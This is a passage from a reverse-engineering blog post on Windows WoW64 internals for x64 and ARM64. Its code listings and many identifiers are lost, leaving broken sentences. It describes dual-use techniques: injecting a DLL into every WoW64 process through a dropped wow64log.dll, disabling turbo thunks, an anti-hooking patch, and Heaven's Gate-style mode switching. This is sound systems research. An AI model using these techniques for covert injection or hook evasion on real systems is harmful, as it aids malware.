. This is the first function that is executed in every process — including WoW64 processes.

Initialization of the WoW64 process

The fun part begins!

NOTE: Initialization of the 

wow64.dll

 is same on both x64 and ARM64. Eventual differences will be mentioned.

• ntdll!LdrInitializeThunk
• ntdll!LdrpInitialize
• ntdll!_LdrpInitialize
• ntdll!LdrpInitializeProcess
• ntdll!LdrpLoadWow64

The 

 function is called when the 

 global variable is 

, which is set when 

.

It constructs the full path to the 

, loads it, and then resolves following functions:

• Wow64LdrpInitialize
• Wow64PrepareForException
• Wow64ApcRoutine
• Wow64PrepareForDebuggerAttach
• Wow64SuspendLocalThread

NOTE: The resolution of these pointers is wrapped between pair of 

ntdll!LdrProtectMrdata

 calls, responsible for protecting (1) and unprotecting (0) the 

.mrdata

 section — in which these pointers reside. 

MRDATA

 (Mutable Read Only Data) are part of the CFG (Control-Flow Guard) functionality. You can look at Alex’s slides for more information.

When these functions are successfully located, the 

 finally transfers control to the 

 by calling 

. Let’s go through the sequence of calls that eventually bring us to the entry-point of the “emulated” application.

• wow64!Wow64LdrpInitialize
  • wow64!Wow64InfoPtr = (NtCurrentPeb32() + 1)
  • NtCurrentTeb()-&gt;TlsSlots[/* 10 */ WOW64_TLS_WOW64INFO] = wow64!Wow64InfoPtr
  • ntdll!RtlWow64GetCpuAreaInfo
  • wow64!ProcessInit
  • wow64!CpuNotifyMapViewOfSection // Process image
  • wow64!Wow64DetectMachineTypeInternal
  • wow64!Wow64SelectSystem32PathInternal
  • wow64!CpuNotifyMapViewOfSection // 32-bit NTDLL image
  • wow64!ThreadInit
  • wow64!ThunkStartupContext64TO32
  • wow64!Wow64SetupInitialCall
  • wow64!RunCpuSimulation
    • emu!BTCpuSimulate

 is the first initialized variable in the 

. It contains data shared between 32-bit and 64-bit execution mode and its structure is not documented, although you can find this structure partialy restored in the appendix.

 is an internal 

 function which is called a lot during emulation. It is mainly used for fetching the machine type and architecture-specific CPU context (the 

structure) of the emulated process. This information is fetched into an undocumented structure, which we’ll be calling 

. Pointer to this structure is then given to the 

 function.

 determines the machine type of the executed process and returns it. 

 selects the “emulated” 

 directory based on that machine type, e.g. 

 for x86 processes or 

 for ARM32 processes.

You can also notice calls to 

 function. As the name suggests, it is also called on each “emulated” call of 

. This function:

• Checks if the mapped image is executable
• Checks if following conditions are true:
  • NtHeaders-&gt;OptionalHeader.MajorSubsystemVersion == USER_SHARED_DATA.NtMajorVersion
  • NtHeaders-&gt;OptionalHeader.MinorSubsystemVersion == USER_SHARED_DATA.NtMinorVersion

If these checks pass, 

 function is called. This function checks if the mapped image exports the 

 symbol and if so, it assigns there a 32-bit pointer value returned by 

.

The 

 is mostly known to be exported by 

, but there are actually multiple of Windows’ WoW DLLs which exports this symbol (will be mentioned later). You might be already familiar with the term “Heaven’s Gate” — this is where the 

 will point to on Windows x64 — a simple far jump instruction which switches into long-mode (64-bit) enabled code segment. On ARM64, the 

 points to a “nop” function.

NOTE: Because there are no checks on the 

ImageName

, the 

Wow64Transition

 symbol is resolved for all executable images that passes the checks mentioned earlier. If you’re wondering whether 

Wow64Transition

 would be resolved for your custom executable or DLL — it indeed would!

The initialization then continues with thread-specific initialization by calling 

. This is followed by pair of calls 

 and 

 — these functions perform the necessary setup of the architecture-specific WoW64 

 structure to prepare start of the execution in the emulated environment. This is done in the exact same way as if 

 would actually executed the emulated application — i.e.:

• setting the instruction pointer to the address of 
  ntdll32!LdrInitializeThunk
• setting the stack pointer below the WoW64 
  CONTEXT

   structure

• setting the 1st parameter to point to that 
  CONTEXT

   structure

• setting the 2nd parameter to point to the base address of the 
  ntdll32

Finally, the 

 function is called. This function just calls 

 from the binary-translator DLL, which contains the actual emulation loop that never returns.

wow64!ProcessInit

• wow64!Wow64ProtectMrdata // 0
• wow64!Wow64pLoadLogDll
  • ntdll!LdrLoadDll // "%SystemRoot%\system32\wow64log.dll"

 has also it’s own 

 section and 

 begins with unprotecting it. It then tries to load the 

 from the constructed system directory. Note that this DLL is never present in any released Windows installation (it’s probably used internally by Microsoft for debugging of the WoW64 subsystem). Therefore, load of this DLL will normally fail. This isn’t problem, though, because no critical functionality of the WoW64 subsystem depends on it. If the load would actually succeed, the 

 would try to find following exported functions there:

• Wow64LogInitialize
• Wow64LogSystemService
• Wow64LogMessageArgList
• Wow64LogTerminate

If any of these functions wouldn’t be exported, the DLL would be immediately unloaded.

If we’d drop custom 

 (which would export functions mentioned above) into the 

 directory, it would actually get loaded into every WoW64 process. This way we could drop a custom logging DLL, or even inject every WoW64 process with native DLL!

For more details, you can check my injdrv project which implements injection of native DLLs into WoW64 processes, or check this post by Walied Assar.

Then, certain important values are fetched from the 

 array. These contains base address of the 

, pointer to functions like 

, 

, …, control flow guard information and others.

Finally, the 

 is called, which — as the name suggests — initializes WoW64 path redirection. The path redirection is completely implemented in the 

 and the mechanism is basically based on string replacement. The path redirection can be disabled and enabled by calling 

 & 

 function pairs. Both of these functions internally call 

, which directly operates on 

 field.

wow64!ServiceTables

Next, a 

 array is initialized. You might be already familiar with the 

 from the 

, which contains — among other things — a pointer to an array of system functions callable from the user-mode. 

 contains 2 of these tables: one for 

 itself and one for the 

, aka the Windows (GUI) subsystem. 

 has 4 of them!

The 

 has the exact same structure as the 

, except that it is extended:

(More detailed definition of this structure is in the appendix.)

 array is populated as follows:

• ServiceTables[/* 0 */ WOW64_NTDLL_SERVICE_INDEX] = sdwhnt32
• ServiceTables[/* 1 */ WOW64_WIN32U_SERVICE_INDEX] = wow64win!sdwhwin32
• ServiceTables[/* 2 */ WOW64_KERNEL32_SERVICE_INDEX = wow64win!sdwhcon
• ServiceTables[/* 3 */ WOW64_USER32_SERVICE_INDEX] = sdwhbase

NOTE: 

wow64.dll

 directly depends (by import table) on two DLLs: the native 

ntdll.dll

 and 

wow64win.dll

. This means that 

wow64win.dll

 is loaded even into “non-Windows-subsystem” processes, that wouldn’t normally load 

user32.dll

.

These two symbols mentioned above are the only symbols that 

wow64.dll

 requires 

wow64win.dll

 to export.

Let’s have a look at 

 service table:

There is nothing surprising for those who already dealt with service tables in 

.

 contains array of the system call functions, which are traditionaly prefixed. WoW64 “system calls” are prefixed with 

, which honestly I don’t have any idea what it stands for — although it might be the case as with 

 prefix — it stands for nothing and is simply used as an unique distinguisher.

The job of these 

 functions is to correctly convert any arguments and return values from the 32-bit version to the native, 64-bit version. Keep in mind that that it not only includes conversion of integers and pointers, but also content of the structures. Interesting note might be that each of the 

 functions has only one argument, which is pointer to an array of 32-bit values. This array contains the parameters passed to the 32-bit system call.

As you could notice, in those 4 service tables there are “system calls” that are not present in the 

. Also, I mentioned earlier that the 

 is resolved in multiple DLLs. Currently, these DLLs export this symbol:

• ntdll.dll
• win32u.dll
• kernel32.dll

   and 

  kernelbase.dll
• user32.dll

The 

 and 

 are obvious and they represent the same thing as their native counterparts. The service tables used by 

 and 

 contain functions for transformation of particular 

 calls into their 64-bit version.

It’s also worth noting that at the end of the 

 system table, there are several functions with 

 calls, such as 

, 

 and others. These are special functions which are provided only to WoW64 processes.

One of these special functions is also 

. It has it’s own small dispatch table and callers can select which function should be called based on its index:

NOTE: I’ll be talking about one of these functions — namely 

Wow64CallFunctionTurboThunkControl

 — later in the Disabling Turbo thunks section.

wow64!Wow64SystemServiceEx

This function is similar to the kernel’s 

 — it does the dispatching of the system call. This function is exported by the 

 and imported by the emulation DLLs. 

 accepts 2 arguments:

• The system call number
• Pointer to an array of 32-bit arguments passed to the system call (as mentioned earlier)

The system call number isn’t just an index, but also contains index of a system table which needs to be selected (this is also true for 

):

This function then selects 

 and calls the appropriate 

function based on the 

.

NOTE: In case the 

wow64log.dll

 has been successfully loaded, the 

Wow64SystemServiceEx

 function calls 

Wow64LogSystemServiceWrapper

 (wrapper around 

wow64log!Wow64LogSystemService

 function): once before the actual system call and one immediately after. This can be used for instrumentation of each WoW64 system call! The structure passed to 

Wow64LogSystemService

 contains every important information about the system call — it’s table index, system call number, the argument list and on the second call, even the resulting 

NTSTATUS

! You can find layout of this structure in the appendix(

WOW64_LOG_SERVICE

).

Finally, as have been mentioned, the 

 structure differs from 

 in that it contains 

 table. The code mentioned above is actually wrapped in a SEH 

/

 block. If 

 raise an exception, the 

block calls 

 function. The function looks if the corresponding service table which raised the exception has non-

 and if it does, it selects the appropriate 

 for the system call. If the 

 is 

, the values from 

 are used. The 

 of the exception is then transformed according to an algorithm which can be found in the appendix.

wow64!ProcessInit

 (cont.)

• ...
• wow64!CpuLoadBinaryTranslator // MachineType
  • wow64!CpuGetBinaryTranslatorPath // MachineType
    • ntdll!NtOpenKey // "\Registry\Machine\Software\Microsoft\Wow64"
    • ntdll!NtQueryValueKey // "arm" / "x86"
    • ntdll!RtlGetNtSystemRoot // "arm" / "x86"
    • ntdll!RtlUnicodeStringPrintf // "%ws\system32\%ws"

As you’ve probably guessed, this function constructs path to the binary-translator DLL, which is — on x64 — known as 

. This DLL will be responsible for the actual low-level emulation.

We can see that there is no 

 on ARM64. Instead, there is 

 used for x86 emulation and 

 used for ARM32 emulation.

NOTE: The 

CpuGetBinaryTranslatorPath

 function is same on both x64 and ARM64 except for one peculiar difference: on Windows x64, if the 

\Registry\Machine\Software\Microsoft\Wow64\x86

 key cannot be opened (is missing/was deleted), the function contains a fallback to load 

wow64cpu.dll

. On Windows ARM64, though, it doesn’t have such fallback and if the registry key is missing, the function fails and the WoW64 process is terminated.

 then loads one of the selected DLL and tries to find there following exported functions:

Interestingly, not all functions need to be found — only those marked with the “(!)”, the rest is optional. As a next step, the resolved 

 function is called, which performs binary-translator-specific process initialization. We’ll cover that in later section.

At the end of the 

 function, 

 is called, making 

non-writable again.

wow64!ThreadInit

• wow64!ThreadInit
  • wow64!CpuThreadInit
    • NtCurrentTeb32()-&gt;WOW32Reserved = BTCpuGetBopCode()
    • emu!BTCpuThreadInit

 does some little thread-specific initialization, such as:

• Copying 
  CurrentLocale

   and 

  IdealProcessor

   values from 64-bit 

  TEB

   into 32-bit 

  TEB

  .

• For non-
  WOW64_CPUFLAGS_SOFTWARE

   emulators, it calls 

  CpuThreadInit

  , which:

  • Performs 
    NtCurrentTeb32()-&gt;WOW32Reserved = BTCpuGetBopCode()

    .

  • Calls 
    emu!BTCpuThreadInit()

    .

• For 
  WOW64_CPUFLAGS_SOFTWARE

   emulators, it creates an event, which added into

  AlertByThreadIdEventHashTable

   and set to 

  NtCurrentTeb()-&gt;TlsSlots[18]

  . This event is used for special emulation of 

  NtAlertThreadByThreadId

   and 

  NtWaitForAlertByThreadId

  .

NOTE: The 

WOW64_CPUFLAGS_MSFT64 (1)

 or the 

WOW64_CPUFLAGS_SOFTWARE (2)

 flag is stored in the 

NtCurrentTeb()-&gt;TlsSlots[/* 10 */ WOW64_TLS_WOW64INFO]

, in the 

WOW64INFO.CpuFlags

 field. One of these flags is always set in the emulator’s 

BTCpuProcessInit

 function (mentioned in the section above):

• wow64cpu.dll

   sets 

  WOW64_CPUFLAGS_MSFT64 (1)
• wowarmhw.dll

   sets 

  WOW64_CPUFLAGS_MSFT64 (1)
• xtajit.dll

   sets 

  WOW64_CPUFLAGS_SOFTWARE (2)

x86 on x64

Entering 32-bit mode

• ...
• wow64!RunCpuSimulation
  • wow64cpu!BTCpuSimulate
    • wow64cpu!RunSimulatedCode

 runs in a loop and performs transitions into 32-bit mode either via:

• jmp fword ptr[reg]

   — a “far jump” that not only changes instruction pointer (

  RIP

  ), but also the code segment register (

  CS

  ). This segment usually being set to 

  0x23

  , while 64-bit code segment is 

  0x33
• synthetic “machine frame” and 
  iret

   — called on every “state reset”

NOTE: Explanation of segmentation and “why does it work just by changing a segment register” is beyond scope of this article. If you’d like to know more about “long mode” and segmentation, you can start here.

Far jump is used most of the time for the transition, mainly because it’s faster. 

 on the other hand is more powerful, as it can change 

, 

, 

, 

 and 

 all at once. The “state reset” occurs when 

 has 

 bit set. This happens during exception (see 

 and 

). Also, this flag is cleared on every emulation loop (using 

 — bit-test-and-reset).

You can see the simplest form of switching into the 32-bit mode. Also, at the beginning you can see that 

 address is moved into the 

 register. This register stays untouched during the whole 

 function. Turbo thunks will be explained in more detail later.

Leaving 32-bit mode

The switch back to the 64-bit mode is very similar — it also uses far jumps. The usual situation when code wants to switch back to the 64-bit mode is upon system call:

The 

 is just a simple jump to the 

:

If you remember, the 

 value is resolved by the 

function:

It selects either 

 or 

 based on the 

 value.

The 

 looks like this (used when 

):

• [x86] jmp 33h:$+9

   (jumps to the instruction below)

• [x64] jmp qword ptr [r15+offset]

   (which points to 

  CpupReturnFromSimulatedCode

  )

The 

 looks like this (used when 

):

• [x86] push 0x33
• [x86] push eax
• [x86] call $+5
• [x86] pop eax
• [x86] add eax, 12
• [x86] xchg eax, dword ptr [esp]
• [x86] jmp fword ptr [esp]

   (jumps to the instruction below)

• [x64] add rsp, 8
• [x64] jmp wow64cpu!CpupReturnFromSimulatedCode

Clearly, the 

 is faster, so why it’s not used used every time?

It turns out, 

 is set to 1 in the 

 function if the process is not executed with the 

 mitigation policy and if 

 succeeds.

This is because 

 is in a non-executable read-only section (

) while

 is in read-executable section (

).

But the actual reason why is 

 in non-executable section by default and needs to be set as executable manually is, honestly, unknown to me. My guess would be that it has something to do with relocations, because the address in the 

 instruction must be somehow resolved by the loader. But maybe I’m wrong. Let me know if you know the answer!

Turbo thunks

I hope you didn’t forget about the 

 address hanging in the 

 register. This value is used as a jump-table:

There are 32 items in the jump-table.

 is the first code that is always executed in the 64-bit mode when 32-bit to 64-bit transition occurs. Let’s recapitulate the code:

• Stack is swapped,
• Non-volatile registers are saved
• eax

   — which contains the encoded service table index and system call number — is moved into the 

  ecx
• it’s high-word is acquired via 
  ecx &gt;&gt; 16

  .

• the result is used as an index into the 
  TurboThunkDispatch

   jump-table

You might be confused now, because few sections above we’ve defined the service number like this:

…therefore, after right-shifting this value by 16 bits we should get always 0, right?

It turns out, on x64, the 

 might be defined like this:

Let’s examine few WoW64 system calls:

Based on our new definition of 

, we can conclude that:

• NtMapViewOfSection

   uses turbo thunk with index 0 (

  TurboDispatchJumpAddressEnd

  )

• NtWaitForSingleObject

   uses turbo thunk with index 13 (

  Thunk3ArgSpNSpNSpReloadState

  )

• NtDeviceIoControlFile

   uses turbo thunk with index 27 (

  DeviceIoctlFile

  )

Let’s finally explain “turbo thunks” in proper way.

Turbo thunks are an optimalization of WoW64 subsystem — specifically on Windows x64 — that enables for particular system calls to never leave the 

 — the conversion of parameters and return value, and the 

 instruction itself is fully performed there. The set of functions that use these turbo thunks reveals, that they are usually very simple in terms of parameter conversion — they receive numerical values or handles.

The notation of 

 labels is as follows:

• The number specifies how many arguments the function receives
• Sp

   converts parameter with sign-extension

• NSp

   converts parameter without sign-extension

• ReloadState

   will return to the 32-bit mode using 

  iret

   instead of far jump, if 

  WOW64_CPURESERVED_FLAG_RESET_STATE

   is set

• QuerySystemTime

  , 

  ReadWriteFile

  , 

  DeviceIoctlFile

  , … are special cases

Let’s take the 

 and its turbo thunk 

 as an example:

• it receives 3 parameters
• 1st parameter is sign-extended
• 2nd parameter isn’t sign-extended
• 3rd parameter isn’t sign-extended
• it can switch to 32-bit mode using 
  iret

   if 

  WOW64_CPURESERVED_FLAG_RESET_STATE

   is set

When we cross-check this information with its function prototype, it makes sense:

The sign-extension of 

 makes sense, because if we pass there an 

, which happens to be 

 on 32-bits, we don’t want to convert this value to 

, but 

.

On the other hand, if the 

 is 0, the call will end up in the

 which in turn calls 

. You can consider this case as the “slow path”.

Disabling Turbo thunks

On Windows x64, the Turbo thunk optimization can be actually disabled!

In one of the previous sections I’ve been talking about 

 and

 functions. As with any other 

 function, 

 is only available in the WoW64 

. This function can be called with an index to WoW64 function in the 

 table (you could see earlier).

The function prototype might look like this:

NOTE: This function prototype has been reconstructed with the help of the

wow64!Wow64CallFunction64Nop

 function code, which just logs the parameters.

We can see that 

 can be called with an index of 2. This function performs some sanity checks and then passes calls

.

 then checks the input parameter.

• If it’s 0, it patches every target of the jump table to point to 
  TurboDispatchJumpAddressEnd

  (remember, this is the target that is called when 

  WOW64_SYSTEM_SERVICE.TurboThunkNumber

   is 0).

• If it’s non-0, it returns 
  STATUS_NOT_SUPPORTED

  .

This means 2 things:

• Calling 
  wow64cpu!BTCpuTurboThunkControl(0)

   disables the Turbo thunks, and every system call ends up taking the “slow path”.

• It is not possible to enable them back.

With all this in mind, we can achieve disabling Turbo thunks by this call:

What it might be good for? I can think of 3 possible use-cases:

• If we deploy custom 
  wow64log.dll

   (explained earlier), disabling Turbo thunks guarantees that we will see every WoW64 system call in our 

  wow64log!Wow64LogSystemService

   callback. We wouldn’t see such calls if the Turbo thunks were enabled, because they would take the “fast path” inside of the 

  wow64cpu.dll

   where the 

  syscall

   would be executed.

• If we decide to hook 
  Nt*

   functions in the native 

  ntdll.dll

  , disabling Turbo thunks guarantees that for each 

  Nt*

   function called in the 

  ntdll32.dll

  , the correspondint 

  Nt*

   function will be called in the native 

  ntdll.dll

  . (This is basically the same point as the previous one.)

  NOTE: Keep in mind that this only applies on system calls, i.e. on 

  Nt*

   or 

  Zw*

   functions. Other functions are not called from the 32-bit 

  ntdll.dll

   to the 64-bit 

  ntdll.dll

  . For example, if we hooked 

  RtlDecompressBuffer

   in the native 

  ntdll.dll

   of the WoW64 process, it wouldn’t be called on 

  ntdll32!RtlDecompressBuffer

   call. This is because the full implementaion of the 

  Rtl*

  functions is already in the 

  ntdll32.dll

  .

• We can “harmlessly” patch high-word moved to the 
  eax

   in every WoW64 system call stub to 0. For example we could see in 

  NtWaitForSingleObject

   there is 

  mov eax, 0D0004h

  . If we patched appropriate 2 bytes in that instruction so that the instruction would become 

  mov eax, 4h

  , the system call would still work.This approach can be used as an anti-hooking technique — if there’s a jump at the start of the function, the patch will break it. If there’s not a jump, we just disable the Turbo thunk for this function.

x86 on ARM64

Emulation of x86 applications on ARM64 is handled by an actual binary translation. Instead of 

, the 

 (probably shortcut for “x86 to ARM64 JIT”) is used for its emulation. As with other emulation DLLs, this DLL is native (ARM64).

The x86 emulation on Windows ARM64 consists also of other “XTA” components:

• xtac.exe

   — XTA Compiler

• XtaCache.exe

   — XTA Cache Service

Execution of x86 programs on ARM64 appears to go way behind just emulation. It is also capable of caching already binary-translated code, so that next execution of the same application should be faster. This cache is located in the 

 directory which contains files in format 

. These files are then mapped to the user-mode address space of the application. If you’re asking whether you can find an actual ARM64 code in these files — indeed, you can.

The whole “XTA” and its internals are not in the focus of this article, but they would definitely deserve a separate article.

Unfortunatelly, Microsoft doesn’t provide symbols to any of these 

 DLLs or executables. But if you’re feeling adventurous, you can find some interesting artifacts, like this array of structures inside of the 

, which contains name of the function and its pointer. There are thousands of items in this array:

With a simple Python script, we can mass-rename all functions referenced in this array:

I’d like to thank Milan Boháček for providing me this script.

Windows\SyCHPE32

 & 

Windows\SysWOW64

One thing you can observe on ARM64 is that it contains two folders used for x86 emulation. The difference between them is that 

 contains small subset of DLLs that are frequently used by applications, while contents of the 

 folder is quite identical with the content of this folder on Windows x64.

The 

 DLLs are not pure-x86 DLLs and not even pure-ARM64 DLLs. They are “compiled-hybrid-PE”s. What does it mean? Let’s see:

After opening 

, IDA will first tell us — unsurprisingly — that it cannot download PDB for this DLL. After looking at randomly chosen 

 function, we can see that it doesn’t differ from what we would see in the 

. Let’s look at some non-

 function:

We can see it contains regular x86 function prologue, immediately followed by x86 function epilogue and then jump somewhere, where it looks like that there’s just garbage.

My guess is that the reason for this prologue is probably compatibility with applications that check whether some particular functions are hooked or not — by checking if the first bytes of the function contain real prologue.

NOTE: Again, if you’re feeling adventurous, you can patch 

FileHeader.Machine

 field in the PE header to 

IMAGE_FILE_MACHINE_ARM64 (0xAA64)

 and open this file in IDA. You will see a whole lot of correctly resolved ARM64 functions. Again, I’d like to thank to Milan Boháček for this tip.

If your question is “how are these images generated?”, I would answer that I don’t know, but my bet would be on some internal version of Microsoft’s C++ compiler toolchain. This idea appears to be supported by various occurences of the 

 keyword in the ChakraCore codebase.

ARM32 on ARM64

The loop inside of the 

 is fairly simple compared to 

 loop:

 does nothing else than saving the whole 

, performing 

instruction and then restoring the 

.

nt!KiEnter32BitMode

 / 

SVC 0xFFFF

I won’t be explaining here how system call dispatching works in the 

 — Bruce Dang already did an excellent job doing it. This section is a follow up on his article, though.

 instruction is sort-of equivalent of 

 instruction on ARM64 — it basically enters the kernel mode. But there is a small difference between 

 and 

: while on Windows x64 the system call number is moved into the 

 register, on ARM64 the system call number can be encoded directly into the 

 instruction.

Let’s peek for a moment into the kernel to see how is this 

 instruction handled:

• nt!KiUserExceptionHandler
  • nt!KiEnter32BitMode

We can see that:

• MRS X30, ELR_EL1

   — current interrupt-return address (stored in 

  ELR_EL1

   system register) will be moved to the register 

  X30

   (link register — 

  LR

  ).

• MSR ELR_EL1, X15

   — the interrupt-return address will be replaced by value in the register 

  X15

  (which is aliased to the instruction pointer register — 

  PC

   — in the 32-bit mode).

• ORR X16, X16, #0b10000

   — bit [4] is being set in 

  X16

   which is later moved to the 

  SPSR_EL1

  register. Setting this bit switches the execution mode to 32-bits.

Simply said, in the 

 register, there is an address that will be executed once we leave the kernel-mode and enter the user-mode — which happens with the 

 instruction at the end.

nt!KiExit32BitMode

 / 

UND #0xF8

Alright, we’re in the 32-bit ARM mode now, how exactly do we leave? Windows solves this transition via 

 instruction — which is similar to the 

 instruction on the Intel CPUs. If you’re not familiar with it, you just need to know that it is instruction that basically guarantees that it’ll throw “invalid instruction” exception which can OS kernel handle. It is defined-“undefined instruction”. Again there is the same difference between the 

 and 

 instruction in that the ARM can have any 1-byte immediate value encoded directly in the instruction.

Let’s look at the 

 system call in the 

:

Let’s peek into the kernel again:

• nt!KiUser32ExceptionHandler
  • nt!KiFetchOpcodeAndEmulate
    • nt!KiExit32BitMode

Keep in mind that meanwhile the 32-bit code is running, it cannot modify the value of the previously stored 

 register — it is not visible in 32-bit mode. It stays there the whole time. Upon 

 execution, following happens:

• the 
  KiFetchOpcodeAndEmulate

   function moves value of 

  X30

   into 

  X24

   register (not shown on the screenshot).

• AND X19, X16, #0xFFFFFFFFFFFFFFC0

   — bit [4] (among others) is being cleared in the 

  X19

  register, which is later moved to the 

  SPSR_EL1

   register. Clearing this bit switches the execution mode back to 64-bits.

• KiExit32BitMode

   then moves the value of 

  X24

   register into the 

  ELR_EL1

   register. That means when this function finishes its execution, the 

  ERET

   brings us back to the 64bit code, right after the 

  SVC 0xFFFF

   instruction.

NOTE: It can be noticed that Windows uses 

UND

 instruction for several purposes. Common example might also be 

UND #0xFE

 which is used as a breakpoint instruction (equivalent of 

__debugbreak()

 / 

int3

)

As you could spot, 3 kernel transitions are required for emulation of the system call (

, system call itself, 

). This is because on ARM there doesn’t exist a way how to switch between 32-bit and 64-bit mode only in user-mode.

If you’re looking for “ARM Heaven’s Gate” — this is it. Put whatever function address you like into the 

 register and execute 

. Next instruction will be executed in the 32-bit ARM mode, starting with that address. When you feel you’d like to come back into 64-bit mode, simply execute 

 and your execution will continue with the next instruction after the 

.

Appendix

References

How does one retrieve the 32-bit context of a Wow64 program from a 64-bit process on Windows Server 2003 x64?
http://www.nynaeve.net/?p=191

Mixing x86 with x64 code
http://blog.rewolf.pl/blog/?p=102

Windows 10 on ARM
https://channel9.msdn.com/Events/Build/2017/P4171

Knockin’ on Heaven’s Gate – Dynamic Processor Mode Switching
http://rce.co/knockin-on-heavens-gate-dynamic-processor-mode-switching/

Closing “Heaven’s Gate”
http://www.alex-ionescu.com/?p=300